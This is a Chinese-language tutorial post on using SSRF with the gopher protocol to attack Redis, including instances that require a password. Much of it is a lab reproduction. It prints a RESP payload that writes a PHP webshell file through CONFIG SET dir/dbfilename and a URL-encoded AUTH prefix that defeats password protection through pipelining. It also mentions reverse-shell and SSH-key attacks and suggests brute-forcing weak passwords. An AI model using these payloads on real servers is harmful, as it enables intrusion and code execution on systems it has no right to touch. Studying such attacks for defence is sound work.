淺析SSRF認證攻擊Redis

前段時間evoA師傅提到了SSRF能夠攻擊有密碼認證的Redis服務,網上的文章大部分都是未受權打Redis,而有關SSRF認證攻擊Redis的文章不多,在這裏簡單分析一下,若有錯誤還望斧正。php

SSRF

SSRF漏洞的原理是利用一個能夠發起網絡請求的服務看成跳板來攻擊內部其餘服務,咱們能夠用其探測內網信息、攻擊內網應用、穿透防火牆、讀取任意文件等。web

這裏咱們演示的是攻擊內網Redis應用,相似的還有未受權攻擊Mysql服務等。redis

SSRF未受權攻擊Redis

當存在SSRF漏洞且內網中Redis服務能夠未受權訪問時,咱們能夠利用gopher協議構造tcp報文發送一系列請求來攻擊Redis服務。sql

常見的幾種攻擊方式:docker

  • 利用計劃任務執行命令反彈shell
  • 寫ssh-keygen公鑰而後使用私鑰登錄
  • 往web物理路徑寫webshell

網上一堆利用文章,這裏再也不闡述,這裏主要分析未受權攻擊的數據包。shell

pull一個redis服務的docker容器數組

docker pull ju5ton1y/redis
docker run -d -p 8001:6379 ju5ton1y/redis安全

設置未受權ruby

sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf
docker restart idbash

進入容器

apt-get install tcpdump
tcpdump -i eth0 port 6379 -o nopass.pcap

利用工具生成payload,直接打便可。

經過翻閱官網文檔 redis.io/topics/prot… ,能夠看到Redis使用的是RESP協議

(ps:英語太渣,谷歌翻譯可能不太準確,具體可直接看原文。)

能夠看到客戶端將命令發送到Redis服務器的流程爲

  • 客戶端向Redis服務器發送一個僅由Bulk Strings組成的RESP Arrays。
  • Redis服務器回覆發送任何有效RESP數據類型做爲回覆的客戶端。

Bulk Strings用於表示長度最大爲512 MB的單個二進制安全字符串,按如下方式編碼:

$
複製代碼

字符串 foobar 的編碼以下: $6rnfoobarrn

RESP Arrays使用如下格式發送:

* 複製代碼

如今數據包中的每一行數據就好理解了。每個 *number 表明每一行命令,number表明每行命令中數組中的元素個數。 $number 表明每一個元素的長度。

*1
$8
flushall
*3
$3
set
$1
1
$22


<?php phpinfo();?>


*4
$6
config
$3
set
$3
dir
$4
/tmp
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save複製代碼

SSRF未受權攻擊Redis

sed -i 's/#requirepass 123123/requirepass 123123/g' /etc/redis.conf
docker restart id

進入容器 tcpdump -i eth0 port 6379 -o havepass.pcap

本地客戶端發送命令到容器6379端口

隨便查看部分tcp流

能夠看到在發送請求以前都發送了下面這條命令用來認證

*2
$4
AUTH
$6
123123複製代碼

在官方文檔中提到Redis是 Request-Response model .

A client can use the same connection in order to issue multiple commands. Pipelining is supported so multiple commands can be sent with a single write operation by the client, without the need to read the server reply of the previous command before issuing the next one. All the replies can be read at the end..

大體意思是說Redis客戶端支持管道操做, 能夠經過單個寫入操做發送多個命令,而無需在發出下一個命令以前讀取上一個命令的服務器回覆。全部的回覆均可以在最後閱讀 。

這也是Redis在認證狀況下依然能夠被攻擊到緣由。

從新構造數據包,添加 %2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A

測試

能夠看到寫入成功

後記

在滲透環境中假如找到了SSRF漏洞且內網中開着有認證的Redis服務,咱們能夠寫個腳本用弱口令跑一波SSRF認證攻擊Redis,說不定會有突破。

相關文章
相關標籤/搜索